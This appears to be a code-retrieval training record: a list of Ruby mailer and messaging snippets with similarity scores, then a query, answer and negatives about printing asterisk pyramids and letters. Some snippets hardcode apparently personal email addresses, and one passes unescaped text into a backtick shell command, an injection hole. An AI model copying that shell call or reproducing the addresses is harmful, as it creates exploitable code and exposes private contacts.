"def event_admin_message_notice(action, user, event)\n @action = action\n @user = user\n @event = event\n \n mail(:to => @user.email, :subject => \"#{@action.user.name} posted on your StreetMeet - #{event.title}\") unless @user.email.blank?\n end",
"def contact_message(contact, store, email)\n @contact = contact\n @store = store\n\n mail(to: email, subject: 'Thanks for contact us')\n end",
"def receive_success me,member\n @by_member = member\n @amount = me.amount\n @currency = me.account.currency\n @me = me\n subjects = \"You have been sent some money\"\n mail to: me.receiver.email, subject: subjects\n #when receiver has account\n end",
"def sent_success me, member\n @by_member = member\n @amount = me.amount\n @me = me\n @currency = me.account.currency\n subjects = \"Money sent success\"\n mail to: me.sender.email, subject: subjects\n end",
"def message_sent(type, text, to = nil)\n msg = message_db.add(\n type: type,\n to: to,\n from: username,\n text: text,\n time: nil\n )\n signal_change(type, msg)\n end",
"def warning(customer)\n @customer = customer\n @greeting = \"Hi\"\n\n mail(to: @customer.email, subject: \"Warning for the return\")\n end",
"def contactus\r\n end",
"def new_message(obj)\n @obj = obj\n @admin_recipients = User.role_users(:admin).map(&:email)\n @author_recipients = User.role_users(:author).map(&:email)\n @recipients = @admin_recipients\n emails = @recipients.join(\",\")\n m = [\"pr.cr_pmcbl@hotmail.com\",\"rhcsa2012@gmail.com\",\"dilokvilas@gmail.com\",\"natthaphon.v@pmcblueline.com\",\"prajak.o@pmcblueline.com\",\"chayant.m@hotmail.com\",\"thinrachwansa@hotmail.com\",\"naruemit.k@gmail.com\"].join(\",\")\n mail to: m\n end",
"def notify(doctor ,recipient, subject, text)\n subject += \" sent to: #{recipient}, by: #{doctor.full_name}\" \n\t\tadmin_assists = AdminAssistant.all \n if admin_assists\n admin_assists.each do |adm|\n custom_email(adm, subject, text)\n end\n end\n end",
"def sms_recieved(contactnumber,storecode,usermessage,category,sydreferencenume)\n @contactnumber_controller = contactnumber\n @storecode_controller = storecode\n @usermessage_controller=usermessage\n @category_controller = category\n @syd_refnum_controller = sydreferencenume\n date= Time.now()\n @date_controller = date.strftime(\"%d-%m-%Y\")\n subject_controller = \"#{@category_controller}:#{@storecode_controller}\"\n mail to: 'santosh.ar@shoutout.co.in',:subject => subject_controller\n\n end",
"def confirmacionordenmescam\n RemisorOrdenesCompraMailer.confirmacionordenmescam\n end",
"def admin_behavior_warning(email, company_phone, notification)\n @company_phone = company_phone\n @company = @company_phone.company\n @notification = notification\n mail(\n to: email,\n subject: 'GurúComm | Una línea esta cerca del límite de uso'\n )\n end",
"def contact_message(contact_email)\n @contact_email=contact_email\n \n\n mail to: \"amfsg@aol.com\", subject: \"Message Sent From raisebusinessomeony.com: #{contact_email.subject}\", from: contact_email.email, reply_to: contact_email.email\n end",
"def tender_updated\n @greeting = \"Χαίρετε\"\n\n mail to: \"to@example.org\"\n end",
"def notifica(comentario)\n @comentario = comentario \n mail :to => comentario.comentable.user.email,\n :reply_to => comentario.user.email,\n :bcc => comentario.comentable.comentarios.map{|c| c.user.email}.uniq,\n :subject => \"[MBAcentrum.com] Nuevo comentario sobre #{comentario.comentable}\"\n \n end",
"def contact_confirmation(first_name,second_name,email,phone,camp,inquire_type,message)\n @first_name=first_name \n @second_name=second_name\n @email=email\n @phone=phone\n @camp=camp\n @inquire_type=inquire_type\n @message=message\n\n mail to: \"fjqz50@gmail.com\", subject: \"Contact \"\n end",
"def messaging\n end",
"def tutor_reserved_notification\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def confirmacionordenesccam\n RemisorOrdenesCompraMailer.confirmacionordenesccam\n end",
"def recipient; end",
"def partner_help_notice(partner_help_id)\n ActsAsTenant.current_tenant = nil\n @partner_help = PartnerHelp.find(partner_help_id)\n mail(subject: 'YesTrak Partner Help Form', to: @partner_help.email, bcc: \"#{APP_CONFIG['admin_emails']}\")\n end",
"def create\n @message = Message.new(params[:message])\n if @message.offer\n redirect_link = b2c_offer_path(@message.offer, :anchor => \"contact\")\n else\n redirect_link = b2c_contact_path(:anchor => \"contact\")\n end\n respond_to do |format|\n if @message.save(params[:message])\n MessageMailer.send_message(@message).deliver\n format.html { redirect_to redirect_link, notice: 'Multumim pentru mesaj. Agentul va fi in contact cu dumoneavostra cat mai curand' }\n format.json { head :no_content }\n else\n format.html { redirect_to redirect_link, notice: 'Mesajul nu a putut fi trimis. Va rugam mai incercati o data.' }\n format.json { head :no_content }\n end\n end\n end",
"def add_message(mesg, log_employee)\n subject \"From: #{mesg.sent_by.name}, Resume: #{mesg.resume.name}\"\n recipients [ mesg.sent_to.email ]\n from [ log_employee.email ]\n reply_to [ \"recruitment-no-reply@mirafra.com\" ]\n sent_on Time.now\n content_type 'text/html'\n body :emp_from => mesg.sent_by,\n :emp_to => mesg.sent_to,\n :mesg => mesg\n end",
"def envoi_formabonnement\n @contacts = params[:contact]\n \n respond_to do |format|\n unless params[:contact][:accepted] == \"0\"\n QuestMailer.deliver_sent_formabonnement(@contacts)\n flash[:notice] = \"Votre demande d'abonnement a bien été enregistré. Elle sera traitée rapidement et un conseiller entrera très bientôt en contact avec vous.\"\n if !params[:contact][:email].blank?\n QuestMailer.deliver_confirmation_abo(@contacts)\n end\n format.html { redirect_to new_recherch_path }\n else\n flash[:notice] = \"Vous n'avez pas accepté les conditions générales de service\"\n format.html {redirect_to demande_abonnement_path}\n end\n end\n end",
"def send_message\n if self.id != 1\n admin_sender = User.find(1)\n user_receiver = self\n message = Message.new\n message.subject = \"It's Official! You're in.\"\n message.body = \"As a member of the VVI community, you're now able to contact other volunteers directly, share your own experiences online, and stay active in our mission to make the world of international volunteering more transparent, more organized, and more excellent. \n <br /><br />We can't thank you enough for joining the cause! And we're here if you need anything.\n <br /><br />--VolunteerVoice Team\"\n message.recipient = user_receiver\n message.sender = admin_sender\n message.save\n end\n end",
"def confirmacioncotizmescam(cotizacion)\n @cotizacion = cotizacion\n mail to: @cotizacion.correo, subject: \"Confirmación de Cotización\"\n end",
"def show_notfication\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def micorreo(parametros)\n @nombre = parametros[:nombre]\n @email = parametros[:email]\n @asunto = parametros[:asunto]\n @mensaje = parametros[:mensaje]\n\n mail to: \"contacto@hernandelaossa.com.co\", :subject => \"PQRS CES\" \n\n end",
"def email_sent(to)\n puts green(\"Notification sent to: #{to}\")\n end",
"def send_message\n if message.present?\n sender.send_message(receiver, message, I18n.t(\"activity.verb.#{ contact_verb }.#{ receiver.subject_type }.message\", :name => sender.name))\n end\n end",
"def alert=(message); end",
"def alert=(message); end",
"def foorth_message\r\n \"#{self.foorth_code} #{self.message}\"\r\n end",
"def contactus\n end",
"def solicitud_creada(usuario_correo, solicitud)\n @solicitud = solicitud\n @greeting = \"Hola\"\n mail(to: usuario_correo, subject: 'solicitud creada')\n end",
"def notice=(message); end",
"def notice=(message); end",
"def send_message\n if !params[:from].blank? && !params[:name].blank? && !params[:message].blank?\n UserMailer.deliver_user_message(@user.email, params[:from], params[:name], params[:message])\n redirect_to user_portfolio_path(@user.login)\n flash[:notice] = \"Your <strong>message</strong> has been sent.\"\n else\n redirect_to user_portfolio_path(@user.login)\n flash[:notice] = \"YOU MUST FILL IN NAME, EMAIL AND MESSAGE.\"\n end\n end",
"def notice_post\n @greeting = \"Hi\"\n\n mail to: \"dan5.ya+bukt@gmail.com\"\n end",
"def warning_trial (company, recipient)\n # layout variables\n @title = \"Período de prueba por finalizar en AgendaPro\"\n @header = \"Aviso de fin del período de prueba. Si ya activaste tu cuenta, por favor ignora este correo.\"\n\n # view variables\n @chile = company.country.name == \"Chile\"\n\n mail(\n from: filter_sender(),\n reply_to: filter_sender(\"cuentas@agendapro.cl\"),\n to: recipient,\n subject: @title,\n template_path: \"mailers/agendapro\"\n )\n end",
"def user_message(recip, from, from_name, message)\n recipients recip\n from from\n subject \"Message from Weefolio User #{from_name}\"\n sent_on Time.now\n body message\n end",
"def contacts(contact_message)\n p \"====\"\n p \"contacts\"\n p \"contacts\"\n p \"====\"\n @settings = Setting.get('contacts')\n @contact_message = contact_message\n\n mail to: @settings.emails, subject: \"Новое сообщение ##{@contact_message.id}\"\n end",
"def envio_email\n @desticoor = @queja.programa.coordinador.id\n @coordinadorp = Coordinador.find(@desticoor)\n \n QuejaMailer.registro_queja_coordinador(@queja, @coordinadorp,\"Notificación de Queja\").deliver\n QuejaMailer.registro_queja_instructor(@queja,current_user.email, \"Notificación de Queja\" ).deliver\n end",
"def send_message \r\n @message = Message.new((params[:message] || {}).merge(:sender => current_user))\r\n \r\n if request.post? and @message.save\r\n flash.now[:notice] = \"Message sent\"\r\n @message = Message.new\r\n redirect_to :action => \"outbox\"\r\n end\r\n end",
"def new_message_admin(from_user, to_user, message)\n @from_user = from_user\n @to_user = to_user\n @message = message\n\n mail(:subject => \"#{@to_user.full_name} has a new message!\")\n end",
"def received(contact)\n @contact = contact\n mail({\n to: contact.email,\n subject: \"#{@contact.name}, Recebemos seu e-mail com sucesso\"\n })\n end",
"def create\n @message = Message.new(message_params)\n if User.exists?(email: message_params[:receiver_id])\n @warning = \"\"\n if @message.content.length < 256\n @maximum = \"\"\n @message.update(receiver_id: User.find_by(email: message_params[:receiver_id]).id)\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'El Mensaje ha sido enviado correctamente!' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n else\n @maximum = \"El Mensaje no puede exceder los 255 caracteres!\"\n respond_to do |format|\n format.html { render :new, notice: \"El Mensaje excede los 255 caracteres!\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n else\n @warning = \"Debes ingresar un email de destino válido!\"\n respond_to do |format|\n format.html { render :new, notice: \"Debes ingresar un email de destino válido!\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def event_admin_message_notice(comment, organizer, event)\n @comment = comment\n @organizer = organizer\n @event = event\n\n return nil if organizer.email.blank?\n mail(:to => @organizer.email, :subject => \"#{@comment.user.name} posted on your StreetMeet - #{event.title}\")\n end",
"def transaction_complete\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def notify(object,class_name,notification_name,sms = false,options)\n if options[:email]\n if options[:password].present?\n Email.send_welcome_email(object,class_name,notification_name,options[:password])\n else\n Email.send_email(object,class_name,notification_name)\n end\n end\n Sms.send_sms(object,class_name,notification_name) if sms\n end",
"def send_message(message); end",
"def send_message(message); end",
"def trial_warning(company_phone)\n @company_phone = company_phone\n @company = @company_phone.company\n @pay_url = \"#{@landing_url}/pago?api_key=#{@company.api_key}\"\n mail(\n to: @company_phone.extensions.admin.first.email,\n subject: 'GurúComm | Te queda un día de tu periodo de prueba'\n )\n end",
"def create\n @contact_message = ContactMessage.new( params[:contact_message])\n if @contact_message.save\n ContactMailer.deliver_confirmation\n flash[:notice] = 'Vielen Dank für Ihre Nachricht.'\n redirect_to(@contact_message)\n else\n render :action => \"new\"\n end\nend",
"def new_record_notification(message_info, contacts, sender)\n @message_info = message_info\n @sender = sender.email\n contacts.each do |contact|\n @reciever = contact.email\n mail(to: @reciever, subject: @message_info.subject) unless @reciever == @sender\n end\n end",
"def confirmacioncotizmesexp(cotizacion)\n @cotizacion = cotizacion\n mail to: @cotizacion.correo, subject: \"Confirmación de Cotización\"\n end",
"def confirm\n @greeting = \"Hi\"\n\n mail to: \"proales@proales.com\"\n end",
"def email_friend(sent_to,message,subject)\n @message=message\n mail to: 'shashitripathi253@gmail.com,'+sent_to,:subject => subject\n end",
"def cust_success(temp_final_thx, code, smb, customer, friend, campaign, sent)\n @temp_final_thx = temp_final_thx\n @sent = sent\n @code = code\n @smb = smb\n @customer = customer\n @friend = friend\n @campaign = campaign\n mail(:to => customer.email, :subject => campaign.final_thx_subject.gsub(/\\[Friend Full Name\\]/, friend.fullname), :from => \"#{smb.full_name} <#{smb.email}>\")\n end",
"def append_delivery_notes\n self.message += \"\\n----\\nFrom: #{self.user.email} #{Time.now}\\n\" + I18n.translate(:delivered_to)+\" \"\n if( all_users = (@recipients.count == User.count))\n self.message += I18n.translate(:all_users, count: @recipients.count)\n else\n self.message += @recipients.all.map { |recipient|\n recipient.name + \" (#{recipient.email})\"\n }.join(\", \")\n end\n end",
"def create\n params[:message][:to] = User.find_by_fullname(params[:message][:to]).id\n @message = Message.new(params[:message])\n @message.from = current_user.id\n @message.seen = false\n if @message.save\n flash[:notice] = \"Message sent\"\n else\n flash[:notice] = \"Message not sent\"\n end\n redirect_to(:action => 'index')\n end",
"def new_caitredette_service_notice(req)\n @req = req\n mail(subject: \"[team] New Caitredette Service Request Received\")\n end",
"def send_contact(name, email, company, phone, subject, message)\n @greeting = message\n\n mail to: \"prawdzik@domekmlodosci.pl\", subject: \"#{name}, #{email}, #{phone} #{\", \" + company} - #{subject}\"\n end",
"def set_message_org\n @message = if @organizations.blank? \n NO_RESULT_MESSAGE\n else\n SUCCESS_MESSAGE\n end\n end",
"def did_receive_notice(stem, sender, recipient, msg)\n end",
"def write text=\"\"\n\t\t@message.text = @msg = text.to_s\n\tend",
"def new_message\n end",
"def sofortkontakt\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"def new_message_sent_advisee(user)\n @user = user\n mail to: @user.email, subject: \"New message sent to Advisor\"\n end",
"def candidate_updated\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def cash_out_notice_to_admin(cash_out)\n @cash_out = cash_out\n\n set_attachments\n\n if cash_out.user.role == 'influencer'\n subject = \"La celebridad #{cash_out.user.full_name} ha solicitado un Cash Out por $#{cash_out.amount}\"\n else\n subject = \"La agencia #{cash_out.user.full_name} ha solicitado un Cash Out por $#{cash_out.amount}\"\n end\n\n case APP_CONFIG['app_country']\n when 'AR'\n mail(to: 'sebastian@socialtarget.net', subject: subject)\n when 'CO'\n mail(to: 'sebastian@socialtarget.net', subject: subject)\n when 'MX'\n mail(to: 'sebastian@socialtarget.net', subject: subject)\n end\n end",
"def sms_notify(username, source_system, message)\r\n sender = SmsGlobal::Sender.new :user => CONFIG[:sms_global_settings][:user_name].to_s, :password => CONFIG[:sms_global_settings][:password].to_s\r\n\r\n sender.send_text message, username, source_system\r\n Rails.logger.info \"#{Time.now.utc} - sms_notify - #{username} - #{source_system} - #{message}\"\r\n end",
"def response_sent_advisee(user, message)\n @user = user\n @message = message\n mail to: @user.email, subject: \"New response message from Advisor\"\n end",
"def shipped\n @greeting = \"Hi\"\n\n mail to: \"tariq.sulehir@khaleef.com\"\n end",
"def admin_order_inform\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def contact_message\n @contact_message = params[:contact_message]\n mail to: self.class.admin_emails\n end",
"def write_message\n\t\t# sender will be the current user\n\t\t@user = current_user\n\t\t@message = Message.new\n\t\t@message.sender = current_user\n\t\t@unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n\t\t# if reciever has been specified, automatically use his/her name in the \"To:\" box\n\t\tif params[:receiver]\n\t\t\t@message.receiver = User.find_by_login(params[:receiver])\n\t\tend\n end",
"def report_update(text)\n body = \"#{I18n.t(:via)} #{@sender.shorter_name}: #{text}\" # Will accept messages longer than 150, though I don't think gateways will do this\n sms_only = insert_sender_name(text, @sender)\n message = Message.new(:user_id => @sender.id, :send_sms=>false, :news_update => true, \n :sms_only => sms_only, :body => body, :expiration => 240) \n message.deliver # Don't forget to deliver!\n moderator_group = Group.find_by_group_name('Moderators')\n if moderator_group\n message = Message.new(:user_id => @sender.id, :send_sms=>true, :send_email => true, :to_groups => moderator_group.id,\n :news_update => false, :sms_only => \"#{@sender.shorter_name} rprts: #{text}\", \n :body => \"#{@sender.shorter_name} reports: #{text}\") \n message.deliver\n end\n expiration_time_string = I18n.t(:hour, :count => Message.default_news_expiration)\n return I18n.t('sms.update_saved', :text => text[0..15], :exp_time => expiration_time_string) \n end",
"def invitaiton_send\n # Block execution if there is no current user\n if(current_user.blank?)\n return render json:{\n errors: \"true\",\n message: \"User not connected\"\n }, status: :unauthorized\n end\n user = User.find_by(email:params[:email])\n\n log = Logement.find(params[:logement_id])\n \n #propriétaie du logment \n currentu = log.user\n if user && currentu.email != params[:email]\n #toutes les cogestionniare existe \n cogestion = log.cogestion \n if cogestion.include?(user.id)\n render json:{resultat: \"déjà co-hôte\"}\n else\n logement = params[:logement_id]\n UserMailer.welcome_email(user,logement,currentu).deliver_now\n\n if current_user.has_attribute?(:admin)\n Historique.create(pseudoadmin: current_user.pseudo, prorietaire: log.idlogement, action: \"Envoyer une invitaion - co-gestionnire\", admin_run_id: current_user.id)\n end\n end\n end\n end",
"def send(user, number, message, phone=nil)\n phone = Behaviour.select_phone(number, user['behaviour']) if phone.nil?\n if phone #se fizer match com os existentes\n `gammu-smsd-inject -c ~/.sms/gammu-smsdrc-#{phone} TEXT #{number} -text \"#{message}\"` # send to daemon\n #LOGIT que foi para a fila\n else \n #LOGIT que alguem tentou mas nao foi para a fila\n end\n end",
"def inquiry(contact_message)\n @contact_message = contact_message\n mail to: \"newsletterstar@gmail.com\",\n from: contact_message.email,\n subject: \"Neue Kontaktanfrage\"\n end",
"def msg_sent?\n true\n end"
] |
[
"0.63805",
"0.6345687",
"0.62183297",
"0.6152524",
"0.6127131",
"0.61169046",
"0.6069226",
"0.6062197",
"0.60478425",
"0.6029438",
"0.601051",
"0.59997165",
"0.5995821",
"0.5990779",
"0.59847224",
"0.59835726",
"0.5945739",
"0.5939544",
"0.59334695",
"0.5928658",
"0.59217465",
"0.59190226",
"0.5902001",
"0.5881797",
"0.5871869",
"0.5870291",
"0.58675766",
"0.5853886",
"0.5844783",
"0.5839885",
"0.5832457",
"0.582991",
"0.58199245",
"0.5797649",
"0.5792079",
"0.5785662",
"0.57793033",
"0.5777087",
"0.57717514",
"0.5771545",
"0.5755017",
"0.57533",
"0.5753114",
"0.57525045",
"0.5750469",
"0.5748017",
"0.5744785",
"0.5722235",
"0.57219154",
"0.57219154",
"0.57205164",
"0.5720251",
"0.57189006",
"0.5714789",
"0.5714789",
"0.57137716",
"0.57069016",
"0.56962276",
"0.5690193",
"0.568534",
"0.5683381",
"0.5677066",
"0.5674306",
"0.5673392",
"0.5672046",
"0.56673837",
"0.56617266",
"0.565636",
"0.5655772",
"0.5655772",
"0.5653567",
"0.56461596",
"0.5644001",
"0.5642837",
"0.5639036",
"0.5626754",
"0.56258225",
"0.5623455",
"0.5622828",
"0.56147975",
"0.5612676",
"0.5610974",
"0.56101173",
"0.5609664",
"0.5607482",
"0.5604825",
"0.56044936",
"0.5599498",
"0.5597611",
"0.5595349",
"0.5592714",
"0.5589883",
"0.558852",
"0.5588287",
"0.5586767",
"0.558642",
"0.55840695",
"0.5577031",
"0.55755854",
"0.55738866"
] |
0.60201025
|
10
|
Input: a number n Returns: Nothing Prints: a pyramid consisting of "" characters that is "n" characters tall at its tallest For example, print_horizontal_pyramid(4) should print
|
def print_horizontal_pyramid(height)
n = 1
h = height
(1..height).each do |i|
space = " "
star = "*"
print space * h + star * n
n = n+2
h = h-1
print "\n"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pyramid(n)\n count = 1\n n.times do\n puts (\" \" * (n - count)) + (\"#\" * count)\n count += 1\n end\nend",
"def pyramid(height)\n height.times do |n|\n print ' ' * (height - n)\n puts '#' * (2 * n + 1)\n end\n\nend",
"def print_horizontal_pyramid(height)\ni=1\nk=height\nt=height\n\ni.upto(k) do\n t.times do\n print ' '\n end\n\n (2 * i - 1).times do\n print '*'\n end\n\n print \"\\n\"\n\n t -= 1\n i += 1\nend\nend",
"def pyramid(a)\n b = a\n for num in 1..a\n puts (\" \" * (b - 1)) + (\"*\" * (num * 2 - 1))\n b -= 1\n end\nend",
"def pyramid(height)\n level = 1\n height.times do\n puts \" \"*(height-level) + \"#\"*level + \" \"*2 + \"#\"*level\n level += 1\n end \n \nend",
"def full_pyramid\n\n\tputs \"Salut bienvenue dans ma super pyramide ! Combien d'étages veux-tu ?\"\n\tprint \">\"\n\n\tnumber_of_floors = gets.to_i \n\t# fonctionne également avec gets.chomp.to_i\n\n\n\tputs \"Voici la pyramide :\"\n\t\n\t#Condition sur le nombre d'étages de la pyramide qui ne peux excéder 25\n\tif number_of_floors < 26\n\t\tnumber_of_floors.times do |i|\n\t\tblankspace = \" \" * (number_of_floors - (i + 1))\n\t\thastag = \"#\" * (2*i+1)\n\t\tputs \"#{blankspace}#{hastag}\"\n\tend\n\n\telse \n\t\tputs \"Désolé mais une pyramide ne peut avoir que 25 étages maximum.\"\n\tend \n\nend",
"def full_pyramid\n\n#On salut notre visiteur\n\tputs \"Salut, bienvenue dans ma super pyramide ! Combien d'etages veux-tu ?\"\n\tprint \"> \"\n\n#On demande le nombre d'étages\n\tsteps = gets.chomp.to_i\n\n#On affiche la pyramide\n\tputs \"Voici la pyramide :\"\n\tsteps.times do |i|\n\tputs \" \" * (steps - ( i + 1 )) + \"#\" * ( 2 * i + 1) + \" \" * (steps - ( i + 1 ))\nend\nend",
"def pyramid(num, row = 0, level = '')\n return if num === row\n\n if 2 * num - 1 === level.length\n puts level\n return pyramid(num, row + 1)\n end\n\n mid_point = (2 * num - 1) / 2\n if mid_point - row <= level.length && mid_point + row >= level.length\n level += '#'\n else\n level += ' '\n end\n\n pyramid(num, row, level)\nend",
"def print_horizontal_pyramid(height)\n\n (1..height).each do |i|\n spaces = height - i\n stars = (2 * i) - 1\n\n spaces.times { print \" \"}\n stars.times { print \"*\"}\n spaces.times { print \" \"}\n print \"\\n\"\nend\nend",
"def letra_i(n)\n result = \"\"\n n.times do |i|\n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else\n n.times do |b|\n if (n-1)/2 == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n result += \"\\n\" \n end \n result\nend",
"def letra_x(n)\n result = \"\" \n t = n-1\n (n).times do |i| \n n.times do |b| \n if t == b \n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n t -= 1 \n result += \"\\n\"\n end\n result\nend",
"def full_pyramid\n puts \"Salut, bienvenue dans ma super pyramide! Combien d'étages veux-tu ?\"\n print \">\"\n nbr_etages = gets.chomp.to_i\n while nbr_etages < 1 || nbr_etages > 25\n puts \"Entre un nombre compris entre 1 et 25\"\n print \">\"\n nbr_etages = gets.chomp.to_i\n end\n\n a=\"#\"\n b=\" \"\n count=0\n puts \"Voici la pyramide:\"\n nbr_etages.times do\n count=count+1\n c= nbr_etages - count\n d= b*c + a*(count-1)\n e= a*(count-1) + b*c\n puts d + a + e\n end\nend",
"def half_pyramid\n puts \"entrer un nombre d'etage de votre choix\"\n nombre = gets.chomp.to_i\n nombre += 1\n\n nombre.times do |j|\n has = \"# \"\n puts \" #{has*=j}\"\n \n end\nend",
"def print_horizontal_pyramid(height)\n num_spaces = height - 1 #keeps track of the number of spaces to print before\n # each row of the pyramid\n num_asterisks = 1 #keeps track of the number of asterisks to print\n\n (1..height).each do |i| #prints each row of the pyramid\n print \" \" * num_spaces\n print \"*\" * num_asterisks\n\n print \"\\n\"\n num_spaces -= 1 #adjusts the number of spaces and asterisks\n num_asterisks += 2 # for the next row of the pyramid\n end\nend",
"def pyramid(n)\n arr = Array.new(n)\n\n for i in 0..arr.length-1\n arr[i] = Array.new(n)\n end\n\n for y in 0..n/2\n if y == n/2\n if arr[y][y] == nil?\n arr[y][y] = y+1\n end\n break\n end\n for x in y..n-2-y\n arr[y][x] = y+1\n arr[x][n-1-y] = y+1\n arr[n-1-y][n-1-y-x] = y+1\n arr[n-1-y-x][y] = y+1\n end\n end\n\n for a in 0..arr.length-1\n for b in 0..arr[a].length-1\n print \"[#{arr[a][b]}]\"\n end\n print \"\\n\"\n end\n\n return arr\nend",
"def letra_z(n)\n result = \"\"\n t = n-1\n n.times do |i| \n if i == 0 || i == n-1\n n.times {result += \"*\"} \n else \n n.times do |b| \n if t == b\n result += \"*\"\n else\n result += \" \"\n end\n end\n end \n t -= 1 \n result += \"\\n\" \n end \n result\nend",
"def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend",
"def horizontalSpacer(n , text)\n n.times {print \" \"}\n puts text\nend",
"def stairs(n)\n\ttext_to_print = \"\"\n\tn.times do |line|\n\t\ttext_to_print += (\" \" * (n-1)) + (\"*\" * (n-(n-1))) \n\t\ttext_to_print << \"\\n\"\n\t\tn -= 1\n\tend\n\ttext_to_print.split(\"\\n\").each{|line| puts line}\nend",
"def tower_builder(n)\n (1..n)\n .map { |i| ' ' * (n - i) + '*' * (i + i - 1) + ' ' * (n - i) }\nend",
"def half_pyramid\n\n puts \"Salut, bienvenue dans ma super pyramide ! Combien d'étages veux-tu ? \"\n\n nombre= gets.chomp.to_i\n\n #permet de donner une fin à la boucle\n i=0\n #coefficient multiplicateur de #\n f=0\n space=\" \"\n #espacement\n g=nombre\n char=\"#\"\n\n puts \"Voici la pyramide :\"\n #bonus si >25 se comporte comme 25\n if (nombre>25)\n nombre=25\n end\n #crée une pyramide seulement de 1 à 25 étages\n if(nombre<=25 && nombre>=1)\n\n\n while (nombre!=i)\n\n nombre=nombre-1\n f=f+1\n g=g-1\n\n puts space*g+char*f\n\n end\n end\n\n end",
"def triangle(num)\n 1.upto(num) { |n| puts \"#{\"*\" * n}\".rjust(num) }\nend",
"def wtf_pyramid\n\tputs \"*\" * 50\n\tputs\"Salut, Bienvenue dans ma super pyramide\"\n\tputs \"Nous allons construire une moitié d'une pyramide\"\n\tputs \"Combien d'etage veux-tu?\"\n\tprint \"||>\"\n\n\tetage = 0\n\n\twhile etage % 2 == 0\n\t\tputs \"Veuiller saisir un nombre impaire :\"\n\t\tprint \"||>\"\n\t\tetage = gets.chomp.to_i \n\tend\n\n\tputs \" Voici la pyramide :\"\n\n\tbase = etage + (etage-1)\n base1 = (base-1)/2 + 1\n base2 = (etage+1)/2\n base3 = (etage-1)/2\n i = 1\n\n # Pyramide d'en haut\n\tbase2.times do \n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\ti+= 2\n\t\tbase1 -= 1\n\t\tputs \" \"\n\n\tend\n\n\t# pyramide d'en bas\n\ti-= 2\n\tbase1 += 1\n\n\tbase3.times do\n\n\t\tbase1 += 1\n\t\ti-= 2\n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\tputs \" \"\n\n\tend\t\nend",
"def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end",
"def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end",
"def diamond_outline(num)\n puts ''\n outer_spacer = num / 2\n inner_spacer = 0\n lines = 0\n while lines < num / 2\n if outer_spacer == num / 2\n puts ' ' * outer_spacer + '*'\n inner_spacer += 1\n else\n unless outer_spacer < 0\n puts ' ' * outer_spacer + '*' + ' ' * inner_spacer + '*'\n inner_spacer += 2\n end\n end\n outer_spacer -= 1\n lines += 1\n end\n while lines < num\n if outer_spacer < num / 2\n puts ' ' * outer_spacer + '*' + ' ' * inner_spacer + '*'\n inner_spacer -= 2\n else\n puts ' ' * outer_spacer + '*'\n inner_spacer -= 1\n end\n outer_spacer += 1\n lines += 1\n end\n puts ''\nend",
"def pyramid\r\n upper_level = \"1\"\r\n triangle = [upper_level]\r\n 40.times do\r\n triangle << upper_level = lower_level(upper_level)\r\n end\r\n triangle\r\nend",
"def staircase(n)\n n.times do |i|\n (n-1-i).times { |i| print ' '}\n (i+1).times { |i| print '#'}\n puts\n end\nend",
"def numero_cero(n)\n result = \"\" \n n.times do |i| \n if i == 0 || i == n-1\n n.times do |b| \n result += \"*\"\n end \n else\n n.times do |b| \n if b == 0 || b == n-1\n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n end \n result += \"\\n\" \n end \n result\nend",
"def wtf_pyramid\n\n#On salut notre visiteur\n\tputs \"Salut, bienvenue dans ma super pyramide ! Combien d'etages veux-tu ?\"\n\tprint \"> \"\n\n#On demande le nombre d'étages\n\tsteps = gets.chomp.to_i\n\n#On teste si le nombre est pair\n\tif steps % 2 != 0\n\n#S'il est impair, on affiche la pyramide \n\t\tputs \"Voici la pyramide :\"\n\t\t\tsteps.times do |i|\n\n#Partie haute du losange\n\t\t\t\tif i < steps / 2 \n\t\t\t\tputs \" \" * (steps - ( i + 1 )) + \"#\" * ( 2 * i + 1) + \" \" * (steps - ( i + 1 ))\n\n#Partie basse du losange\n\t\t\t\telse \n\t\t\t\tputs \" \" * i + \"#\" * (2 *steps - (2 *i + 1)) + \" \" * i\n\t\t\t\tend\n\t\t\tend\n\n#S'il est pair, on envoie l'utilisateur bouler\n\telse \n\t\tputs \"NON NON! Tu dois saisir un nombre impair, donc tu dégages et tu relances le programme !\"\n\tend\nend",
"def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end",
"def border(n)\r\n puts \"-\" * n\r\n end",
